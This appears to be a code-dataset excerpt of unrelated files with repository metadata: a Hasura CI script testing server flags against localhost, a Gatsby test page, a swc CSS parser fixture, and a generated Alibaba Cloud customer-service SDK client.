for _ in $(seq 1 60);
do
nc -z localhost $PORT && echo "port $PORT is ready" && return
echo -n .
sleep 0.2
done
echo "Failed waiting for $PORT" && exit 1
}
test_export_metadata_with_admin_secret() {
curl -f -d'{"type" : "export_metadata", "args" : {} }' localhost:8080/v1/query -H "X-Hasura-Admin-Secret: $1" > /dev/null
}
cd $SERVER_ROOT
if [ -z "${HASURA_GRAPHQL_DATABASE_URL:-}" ] ; then
echo "Env var HASURA_GRAPHQL_DATABASE_URL is not set"
exit 1
fi
HGE_PID=""
run_hge_with_flags() {
fail_if_port_busy 8080
set -x
stdbuf -o0 "$GRAPHQL_ENGINE" serve $* > "$OUTPUT_FOLDER/graphql-engine.log" & HGE_PID=$!
set +x
wait_for_port 8080
}
kill_hge() {
kill -s INT $HGE_PID || true
wait $HGE_PID || true
}
trap kill_hge ERR
trap kill_hge INT
OUTPUT_FOLDER=${OUTPUT_FOLDER:-"$CIRCLECI_FOLDER/test-server-flags-output"}
mkdir -p "$OUTPUT_FOLDER"
########## Test that we didn't compile with +developer by accident
echoInfo "Test we didn't compile in the developer-only APIs"
run_hge_with_flags
code=$(curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/dev/plan_cache)
if [ "$code" != "404" ]; then
echo "Expected a dev endpoint to return 404, but got: $code"
exit 1
fi
kill_hge
########## Test --use-prepared-statements=false and flag --admin-secret
key="HGE$RANDOM$RANDOM"
run_hge_with_flags --use-prepared-statements=false --admin-secret="$key"
echoInfo "Test flag --admin-secret=XXXX"
grep -F '"admin_secret_set":true' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null
test_export_metadata_with_admin_secret "$key"
echoInfo "Test flag --use-prepared-statements=false"
grep -F '"use_prepared_statements":false' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null
kill_hge
###### Test --use-prepared-statements=true
key="HGE$RANDOM$RANDOM"
run_hge_with_flags --use-prepared-statements=true
echoInfo "Test --use-prepared-statements=true"
grep -F '"use_prepared_statements":true' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null || (cat "$OUTPUT_FOLDER/graphql-engine.log" && false)
kill_hge
######### Test HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=abcd
export HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=abcd
fail_if_port_busy 8080
timeout 3 stdbuf -o0 "$GRAPHQL_ENGINE" serve > "$OUTPUT_FOLDER/graphql-engine.log" 2>&1 & PID=$!
wait $PID || true
echoInfo "Test HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=abcd"
grep -F 'Not a valid boolean text' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null || (cat "$OUTPUT_FOLDER/graphql-engine.log" && false)
######### Test HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=false and HASURA_GRAPHQL_ADMIN_SECRET=XXXX
key="HGE$RANDOM$RANDOM"
export HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=false
export HASURA_GRAPHQL_ADMIN_SECRET="$key"
run_hge_with_flags
echoInfo "Test flag HASURA_GRAPHQL_ADMIN_SECRET=XXXX"
grep -F '"admin_secret_set":true' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null || (cat "$OUTPUT_FOLDER/graphql-engine.log" && false)
test_export_metadata_with_admin_secret "$key"
echoInfo "Test HASURA_GRAPHQL_USE_PREPARED_STATEMENTS=false"
grep -F '"use_prepared_statements":false' "$OUTPUT_FOLDER/graphql-engine.log" >/dev/null || (cat "$OUTPUT_FOLDER/graphql-engine.log" && false)
kill_hge
unset HASURA_GRAPHQL_ADMIN_SECRET
unset HASURA_GRAPHQL_USE_PREPARED_STATEMENTS
| Shell | 5 | gh-oss-contributor/graphql-engine-1 | .circleci/test-server-flags.sh | [
"Apache-2.0",
"MIT"
] |
import React from "react"
import Layout from "../../components/layout"
export default props => (
<Layout>
<h1 data-testid="title">Client Dynamic Route</h1>
<h2 data-testid="params">{props.params.id}</h2>
</Layout>
)
| JavaScript | 3 | pipaliyajaydip/gatsby | e2e-tests/production-runtime/src/pages/client-dynamic-route/[id].js | [
"MIT"
] |
a { value: 10\2cx } | CSS | 0 | mengxy/swc | crates/swc_css_parser/tests/fixture/esbuild/misc/53OltIbJ-YBXtSKedVvYwA/input.css | [
"Apache-2.0"
] |
/**
*
*/
import Util;
import OpenApi;
import OpenApiUtil;
import EndpointUtil;
extends OpenApi;
init(config: OpenApi.Config){
super(config);
@endpointRule = 'central';
@endpointMap = {
cn-shanghai = 'scsp-vpc.cn-shanghai.aliyuncs.com',
};
checkConfig(config);
@endpoint = getEndpoint('scsp', @regionId, @endpointRule, @network, @suffix, @endpointMap, @endpoint);
}
function getEndpoint(productId: string, regionId: string, endpointRule: string, network: string, suffix: string, endpointMap: map[string]string, endpoint: string) throws: string{
if (!Util.empty(endpoint)) {
return endpoint;
}
if (!Util.isUnset(endpointMap) && !Util.empty(endpointMap[regionId])) {
return endpointMap[regionId];
}
return EndpointUtil.getEndpointRules(productId, regionId, endpointRule, network, suffix);
}
model GetUserTokenRequest {
instanceId?: string(name='InstanceId', description='实例id'),
userId?: string(name='UserId', description='用户id'),
nick?: string(name='Nick', description='昵称'),
appKey?: string(name='AppKey', description='appKey'),
}
model GetUserTokenResponseBody = {
message?: string(name='Message', description='错误信息'),
requestId?: string(name='RequestId', description='鹰眼id'),
data?: {
expires?: long(name='Expires'),
token?: string(name='Token'),
}(name='Data'),
code?: string(name='Code', description='错误码'),
success?: boolean(name='Success', description='是否调用成功'),
}
model GetUserTokenResponse = {
headers: map[string]string(name='headers'),
body: GetUserTokenResponseBody(name='body'),
}
async function getUserTokenWithOptions(request: GetUserTokenRequest, runtime: Util.RuntimeOptions): GetUserTokenResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetUserToken', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getUserToken(request: GetUserTokenRequest): GetUserTokenResponse {
var runtime = new Util.RuntimeOptions{};
return getUserTokenWithOptions(request, runtime);
}
model SearchTicketListRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
operatorId?: long(name='OperatorId'),
ticketStatus?: string(name='TicketStatus'),
pageNo?: int32(name='PageNo'),
pageSize?: int32(name='PageSize'),
startTime?: long(name='StartTime'),
endTime?: long(name='EndTime'),
}
model SearchTicketListResponseBody = {
onePageSize?: int32(name='OnePageSize'),
requestId?: string(name='RequestId'),
message?: string(name='Message'),
totalPage?: int32(name='TotalPage'),
totalResults?: int32(name='TotalResults'),
pageNo?: int32(name='PageNo'),
data?: [
{
memberName?: string(name='MemberName'),
carbonCopy?: string(name='CarbonCopy'),
createTime?: long(name='CreateTime'),
serviceId?: long(name='ServiceId'),
ticketId?: long(name='TicketId'),
priority?: int32(name='Priority'),
creatorId?: long(name='CreatorId'),
formData?: string(name='FormData'),
fromInfo?: string(name='FromInfo'),
modifiedTime?: long(name='ModifiedTime'),
taskStatus?: string(name='TaskStatus'),
creatorName?: string(name='CreatorName'),
categoryId?: long(name='CategoryId'),
creatorType?: int32(name='CreatorType'),
memberId?: long(name='MemberId'),
caseStatus?: int32(name='CaseStatus'),
templateId?: long(name='TemplateId'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model SearchTicketListResponse = {
headers: map[string]string(name='headers'),
body: SearchTicketListResponseBody(name='body'),
}
async function searchTicketListWithOptions(request: SearchTicketListRequest, runtime: Util.RuntimeOptions): SearchTicketListResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('SearchTicketList', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function searchTicketList(request: SearchTicketListRequest): SearchTicketListResponse {
var runtime = new Util.RuntimeOptions{};
return searchTicketListWithOptions(request, runtime);
}
model SendHotlineHeartBeatRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
token?: string(name='Token'),
}
model SendHotlineHeartBeatResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model SendHotlineHeartBeatResponse = {
headers: map[string]string(name='headers'),
body: SendHotlineHeartBeatResponseBody(name='body'),
}
async function sendHotlineHeartBeatWithOptions(request: SendHotlineHeartBeatRequest, runtime: Util.RuntimeOptions): SendHotlineHeartBeatResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('SendHotlineHeartBeat', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function sendHotlineHeartBeat(request: SendHotlineHeartBeatRequest): SendHotlineHeartBeatResponse {
var runtime = new Util.RuntimeOptions{};
return sendHotlineHeartBeatWithOptions(request, runtime);
}
model TransferCallToSkillGroupRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
skillGroupId?: long(name='SkillGroupId'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
type?: int32(name='Type'),
isSingleTransfer?: boolean(name='IsSingleTransfer'),
}
model TransferCallToSkillGroupResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model TransferCallToSkillGroupResponse = {
headers: map[string]string(name='headers'),
body: TransferCallToSkillGroupResponseBody(name='body'),
}
async function transferCallToSkillGroupWithOptions(request: TransferCallToSkillGroupRequest, runtime: Util.RuntimeOptions): TransferCallToSkillGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('TransferCallToSkillGroup', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function transferCallToSkillGroup(request: TransferCallToSkillGroupRequest): TransferCallToSkillGroupResponse {
var runtime = new Util.RuntimeOptions{};
return transferCallToSkillGroupWithOptions(request, runtime);
}
model EditEntityRouteRequest {
entityId?: string(name='EntityId'),
entityName?: string(name='EntityName'),
entityBizCode?: string(name='EntityBizCode'),
entityBizCodeType?: string(name='EntityBizCodeType'),
entityRelationNumber?: string(name='EntityRelationNumber'),
departmentId?: string(name='DepartmentId'),
groupId?: long(name='GroupId'),
serviceId?: long(name='ServiceId'),
extInfo?: string(name='ExtInfo'),
instanceId?: string(name='InstanceId'),
uniqueId?: long(name='UniqueId'),
}
model EditEntityRouteResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model EditEntityRouteResponse = {
headers: map[string]string(name='headers'),
body: EditEntityRouteResponseBody(name='body'),
}
async function editEntityRouteWithOptions(request: EditEntityRouteRequest, runtime: Util.RuntimeOptions): EditEntityRouteResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('EditEntityRoute', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function editEntityRoute(request: EditEntityRouteRequest): EditEntityRouteResponse {
var runtime = new Util.RuntimeOptions{};
return editEntityRouteWithOptions(request, runtime);
}
model GetTagListRequest {
entityId?: string(name='EntityId'),
entityType?: string(name='EntityType'),
instanceId?: string(name='InstanceId'),
}
model GetTagListResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: [
{
scenarioCode?: string(name='ScenarioCode'),
tagGroupCode?: string(name='TagGroupCode'),
tagGroupName?: string(name='TagGroupName'),
tagValues?: [
{
status?: string(name='Status'),
description?: string(name='Description'),
tagName?: string(name='TagName'),
tagGroupCode?: string(name='TagGroupCode'),
tagCode?: string(name='TagCode'),
tagGroupName?: string(name='TagGroupName'),
entityRelationNumber?: string(name='EntityRelationNumber'),
}
](name='TagValues'),
}
](name='Data'),
}
model GetTagListResponse = {
headers: map[string]string(name='headers'),
body: GetTagListResponseBody(name='body'),
}
async function getTagListWithOptions(request: GetTagListRequest, runtime: Util.RuntimeOptions): GetTagListResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetTagList', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getTagList(request: GetTagListRequest): GetTagListResponse {
var runtime = new Util.RuntimeOptions{};
return getTagListWithOptions(request, runtime);
}
model UpdateTicketRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
ticketId?: long(name='TicketId'),
operatorId?: long(name='OperatorId'),
formData?: string(name='FormData'),
}
model UpdateTicketResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model UpdateTicketResponse = {
headers: map[string]string(name='headers'),
body: UpdateTicketResponseBody(name='body'),
}
async function updateTicketWithOptions(request: UpdateTicketRequest, runtime: Util.RuntimeOptions): UpdateTicketResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateTicket', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateTicket(request: UpdateTicketRequest): UpdateTicketResponse {
var runtime = new Util.RuntimeOptions{};
return updateTicketWithOptions(request, runtime);
}
model ListOutboundPhoneNumberRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model ListOutboundPhoneNumberResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [ string ](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model ListOutboundPhoneNumberResponse = {
headers: map[string]string(name='headers'),
body: ListOutboundPhoneNumberResponseBody(name='body'),
}
async function listOutboundPhoneNumberWithOptions(request: ListOutboundPhoneNumberRequest, runtime: Util.RuntimeOptions): ListOutboundPhoneNumberResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('ListOutboundPhoneNumber', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function listOutboundPhoneNumber(request: ListOutboundPhoneNumberRequest): ListOutboundPhoneNumberResponse {
var runtime = new Util.RuntimeOptions{};
return listOutboundPhoneNumberWithOptions(request, runtime);
}
model RemoveSkillGroupRequest {
instanceId?: string(name='InstanceId'),
skillGroupId?: string(name='SkillGroupId'),
clientToken?: string(name='ClientToken'),
}
model RemoveSkillGroupResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model RemoveSkillGroupResponse = {
headers: map[string]string(name='headers'),
body: RemoveSkillGroupResponseBody(name='body'),
}
async function removeSkillGroupWithOptions(request: RemoveSkillGroupRequest, runtime: Util.RuntimeOptions): RemoveSkillGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('RemoveSkillGroup', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function removeSkillGroup(request: RemoveSkillGroupRequest): RemoveSkillGroupResponse {
var runtime = new Util.RuntimeOptions{};
return removeSkillGroupWithOptions(request, runtime);
}
model ListAgentBySkillGroupIdRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
skillGroupId?: long(name='SkillGroupId'),
}
model ListAgentBySkillGroupIdResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [
{
status?: int32(name='Status'),
displayName?: string(name='DisplayName'),
agentId?: long(name='AgentId'),
accountName?: string(name='AccountName'),
tenantId?: long(name='TenantId'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model ListAgentBySkillGroupIdResponse = {
headers: map[string]string(name='headers'),
body: ListAgentBySkillGroupIdResponseBody(name='body'),
}
async function listAgentBySkillGroupIdWithOptions(request: ListAgentBySkillGroupIdRequest, runtime: Util.RuntimeOptions): ListAgentBySkillGroupIdResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('ListAgentBySkillGroupId', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function listAgentBySkillGroupId(request: ListAgentBySkillGroupIdRequest): ListAgentBySkillGroupIdResponse {
var runtime = new Util.RuntimeOptions{};
return listAgentBySkillGroupIdWithOptions(request, runtime);
}
model QueryHotlineSessionRequest {
instanceId?: string(name='InstanceId'),
acid?: string(name='Acid'),
callType?: int32(name='CallType'),
calledNumber?: string(name='CalledNumber'),
callingNumber?: string(name='CallingNumber'),
groupId?: long(name='GroupId'),
groupName?: string(name='GroupName'),
memberId?: string(name='MemberId'),
memberName?: string(name='MemberName'),
queryEndTime?: long(name='QueryEndTime'),
queryStartTime?: long(name='QueryStartTime'),
requestId?: string(name='RequestId'),
servicerName?: string(name='ServicerName'),
servicerId?: string(name='ServicerId'),
params?: string(name='Params'),
pageSize?: int32(name='PageSize'),
pageNo?: int32(name='PageNo'),
callResult?: string(name='CallResult'),
}
model QueryHotlineSessionResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: {
pageSize?: int32(name='PageSize'),
pageNumber?: int32(name='PageNumber'),
totalCount?: int32(name='TotalCount'),
callDetailRecord?: [
{
callResult?: string(name='CallResult'),
servicerName?: string(name='ServicerName'),
outQueueTime?: string(name='OutQueueTime'),
callContinueTime?: int32(name='CallContinueTime'),
createTime?: string(name='CreateTime'),
pickUpTime?: string(name='PickUpTime'),
ringContinueTime?: int32(name='RingContinueTime'),
calledNumber?: string(name='CalledNumber'),
servicerId?: string(name='ServicerId'),
hangUpTime?: string(name='HangUpTime'),
evaluationLevel?: int32(name='EvaluationLevel'),
hangUpRole?: string(name='HangUpRole'),
memberName?: string(name='MemberName'),
evaluationScore?: int32(name='EvaluationScore'),
acid?: string(name='Acid'),
ringStartTime?: string(name='RingStartTime'),
callType?: int32(name='CallType'),
groupId?: long(name='GroupId'),
groupName?: string(name='GroupName'),
ringEndTime?: string(name='RingEndTime'),
callingNumber?: string(name='CallingNumber'),
inQueueTime?: string(name='InQueueTime'),
memberId?: string(name='MemberId'),
queueUpContinueTime?: int32(name='QueueUpContinueTime'),
}
](name='CallDetailRecord'),
}(name='Data'),
}
model QueryHotlineSessionResponse = {
headers: map[string]string(name='headers'),
body: QueryHotlineSessionResponseBody(name='body'),
}
async function queryHotlineSessionWithOptions(request: QueryHotlineSessionRequest, runtime: Util.RuntimeOptions): QueryHotlineSessionResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryHotlineSession', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryHotlineSession(request: QueryHotlineSessionRequest): QueryHotlineSessionResponse {
var runtime = new Util.RuntimeOptions{};
return queryHotlineSessionWithOptions(request, runtime);
}
model StartChatWorkRequest {
instanceId?: string(name='InstanceId', description='instanceId'),
accountName?: string(name='AccountName', description='accountName'),
}
model StartChatWorkResponseBody = {
message?: string(name='Message', description='message'),
requestId?: string(name='RequestId', description='requestId'),
httpStatusCode?: int32(name='HttpStatusCode', description='httpStatusCode'),
data?: string(name='Data', description='data'),
code?: string(name='Code', description='code'),
success?: boolean(name='Success', description='success'),
}
model StartChatWorkResponse = {
headers: map[string]string(name='headers'),
body: StartChatWorkResponseBody(name='body'),
}
async function startChatWorkWithOptions(request: StartChatWorkRequest, runtime: Util.RuntimeOptions): StartChatWorkResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('StartChatWork', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function startChatWork(request: StartChatWorkRequest): StartChatWorkResponse {
var runtime = new Util.RuntimeOptions{};
return startChatWorkWithOptions(request, runtime);
}
model HangupThirdCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
}
model HangupThirdCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model HangupThirdCallResponse = {
headers: map[string]string(name='headers'),
body: HangupThirdCallResponseBody(name='body'),
}
async function hangupThirdCallWithOptions(request: HangupThirdCallRequest, runtime: Util.RuntimeOptions): HangupThirdCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('HangupThirdCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function hangupThirdCall(request: HangupThirdCallRequest): HangupThirdCallResponse {
var runtime = new Util.RuntimeOptions{};
return hangupThirdCallWithOptions(request, runtime);
}
model StartHotlineServiceRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model StartHotlineServiceResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model StartHotlineServiceResponse = {
headers: map[string]string(name='headers'),
body: StartHotlineServiceResponseBody(name='body'),
}
async function startHotlineServiceWithOptions(request: StartHotlineServiceRequest, runtime: Util.RuntimeOptions): StartHotlineServiceResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('StartHotlineService', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function startHotlineService(request: StartHotlineServiceRequest): StartHotlineServiceResponse {
var runtime = new Util.RuntimeOptions{};
return startHotlineServiceWithOptions(request, runtime);
}
model StartCallV2Request {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
caller?: string(name='Caller'),
callee?: string(name='Callee'),
jsonMsg?: string(name='JsonMsg'),
}
model StartCallV2ResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model StartCallV2Response = {
headers: map[string]string(name='headers'),
body: StartCallV2ResponseBody(name='body'),
}
async function startCallV2WithOptions(request: StartCallV2Request, runtime: Util.RuntimeOptions): StartCallV2Response {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('StartCallV2', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function startCallV2(request: StartCallV2Request): StartCallV2Response {
var runtime = new Util.RuntimeOptions{};
return startCallV2WithOptions(request, runtime);
}
model EnableRoleRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
roleId?: long(name='RoleId'),
}
model EnableRoleResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model EnableRoleResponse = {
headers: map[string]string(name='headers'),
body: EnableRoleResponseBody(name='body'),
}
async function enableRoleWithOptions(request: EnableRoleRequest, runtime: Util.RuntimeOptions): EnableRoleResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('EnableRole', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function enableRole(request: EnableRoleRequest): EnableRoleResponse {
var runtime = new Util.RuntimeOptions{};
return enableRoleWithOptions(request, runtime);
}
model GetAgentRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetAgentResponseBody = {
requestId?: string(name='RequestId'),
data?: {
status?: int32(name='Status'),
displayName?: string(name='DisplayName'),
agentId?: long(name='AgentId'),
groupList?: [
{
displayName?: string(name='DisplayName'),
description?: string(name='Description'),
channelType?: int32(name='ChannelType'),
skillGroupId?: long(name='SkillGroupId'),
name?: string(name='Name'),
}
](name='GroupList'),
accountName?: string(name='AccountName'),
tenantId?: long(name='TenantId'),
}(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
message?: string(name='Message'),
}
model GetAgentResponse = {
headers: map[string]string(name='headers'),
body: GetAgentResponseBody(name='body'),
}
async function getAgentWithOptions(request: GetAgentRequest, runtime: Util.RuntimeOptions): GetAgentResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetAgent', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getAgent(request: GetAgentRequest): GetAgentResponse {
var runtime = new Util.RuntimeOptions{};
return getAgentWithOptions(request, runtime);
}
model GetCMSIdByForeignIdRequest {
instanceId?: string(name='InstanceId'),
nick?: string(name='Nick'),
foreignId?: string(name='ForeignId'),
sourceId?: long(name='SourceId'),
}
model GetCMSIdByForeignIdResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: {
status?: int32(name='Status'),
customerTypeId?: int32(name='CustomerTypeId'),
avatar?: string(name='Avatar'),
gender?: string(name='Gender'),
foreignId?: string(name='ForeignId'),
userId?: string(name='UserId'),
nick?: string(name='Nick'),
anonymity?: boolean(name='Anonymity'),
phone?: string(name='Phone'),
}(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model GetCMSIdByForeignIdResponse = {
headers: map[string]string(name='headers'),
body: GetCMSIdByForeignIdResponseBody(name='body'),
}
async function getCMSIdByForeignIdWithOptions(request: GetCMSIdByForeignIdRequest, runtime: Util.RuntimeOptions): GetCMSIdByForeignIdResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetCMSIdByForeignId', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getCMSIdByForeignId(request: GetCMSIdByForeignIdRequest): GetCMSIdByForeignIdResponse {
var runtime = new Util.RuntimeOptions{};
return getCMSIdByForeignIdWithOptions(request, runtime);
}
model TransferToThirdCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
}
model TransferToThirdCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model TransferToThirdCallResponse = {
headers: map[string]string(name='headers'),
body: TransferToThirdCallResponseBody(name='body'),
}
async function transferToThirdCallWithOptions(request: TransferToThirdCallRequest, runtime: Util.RuntimeOptions): TransferToThirdCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('TransferToThirdCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function transferToThirdCall(request: TransferToThirdCallRequest): TransferToThirdCallResponse {
var runtime = new Util.RuntimeOptions{};
return transferToThirdCallWithOptions(request, runtime);
}
model UpdateAgentRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
displayName?: string(name='DisplayName'),
skillGroupId?: [ long ](name='SkillGroupId'),
skillGroupIdList?: [ long ](name='SkillGroupIdList'),
}
model UpdateAgentResponseBody = {
code?: string(name='Code'),
httpStatusCode?: long(name='HttpStatusCode'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model UpdateAgentResponse = {
headers: map[string]string(name='headers'),
body: UpdateAgentResponseBody(name='body'),
}
async function updateAgentWithOptions(request: UpdateAgentRequest, runtime: Util.RuntimeOptions): UpdateAgentResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateAgent', '2020-07-02', 'HTTPS', 'PUT', 'AK', 'json', req, runtime);
}
async function updateAgent(request: UpdateAgentRequest): UpdateAgentResponse {
var runtime = new Util.RuntimeOptions{};
return updateAgentWithOptions(request, runtime);
}
model ChangeChatAgentStatusRequest {
clientToken?: string(name='ClientToken', description='clientToken'),
instanceId?: string(name='InstanceId', description='示例id'),
accountName?: string(name='AccountName', description='账户名称'),
method?: string(name='Method', description='修改到的状态类型'),
}
model ChangeChatAgentStatusResponseBody = {
message?: string(name='Message', description='message'),
requestId?: string(name='RequestId', description='requestId'),
httpStatusCode?: int32(name='HttpStatusCode', description='httpStatusCode'),
data?: string(name='Data', description='data'),
code?: string(name='Code', description='code'),
success?: boolean(name='Success', description='success'),
}
model ChangeChatAgentStatusResponse = {
headers: map[string]string(name='headers'),
body: ChangeChatAgentStatusResponseBody(name='body'),
}
async function changeChatAgentStatusWithOptions(request: ChangeChatAgentStatusRequest, runtime: Util.RuntimeOptions): ChangeChatAgentStatusResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ChangeChatAgentStatus', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function changeChatAgentStatus(request: ChangeChatAgentStatusRequest): ChangeChatAgentStatusResponse {
var runtime = new Util.RuntimeOptions{};
return changeChatAgentStatusWithOptions(request, runtime);
}
